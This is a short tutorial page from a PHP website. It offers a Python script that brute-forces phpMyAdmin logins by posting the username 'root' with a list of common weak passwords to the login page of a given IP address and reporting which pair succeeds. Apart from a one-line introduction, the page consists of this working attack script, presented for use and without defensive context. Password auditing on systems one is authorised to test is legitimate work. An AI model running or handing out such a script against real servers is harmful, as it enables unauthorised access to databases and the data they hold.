About PHPMyAdmin weak password guessing-phpMyAdmin-php.cn

About PHPMyAdmin weak password guessing

藏色散人

Release： 2021-05-27 15:55:25

forward

3847 people have browsed it

The following tutorial column of phpmyadmin will introduce to you about guessing weak passwords for PHPMyAdmin. I hope it will be helpful to friends in need!

PHPMyAdmin Weak Password Guessing [Python Script]

PHPMyAdmin Weak Password Guessing

Test Screenshot:

Code Snippet

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import requests
import time

username_list=[&#39;root&#39;]
password_list=[&#39;root&#39;,&#39;&#39;,&#39;admin&#39;,&#39;123456&#39;,&#39;password&#39;]

def phpMyAdmin(ip,port=80):
	for username in username_list:
		username =username.rstrip()
		for password in password_list:
			password = password.rstrip()
			try:
				#url = "http://192.168.106.141/phpmyadmin/index.php"
				url = "http://"+ip+":"+str(port)+"/phpmyadmin/index.php"

				data={&#39;pma_username&#39;:username,&#39;pma_password&#39;:password}
				response = requests.post(url,data=data,timeout=5)
				result=response.content
				if result.find(&#39;name="login_form"&#39;)==-1:
					print &#39;====================================================&#39;
					print &#39;[+] find phpMyAdmin weak password：&#39;+username,password
					print &#39;====================================================&#39;
					break
				else:
					print &#39;[-] Checking for &#39;+username,password+" fail"
			except:
				print &#39;[-] Something Error&#39;+username,password+" fail"
				
if __name__ == &#39;__main__&#39;:
	phpMyAdmin("192.168.106.141")

Copy after login

The above is the detailed content of About PHPMyAdmin weak password guessing. For more information, please follow other related articles on the PHP Chinese website!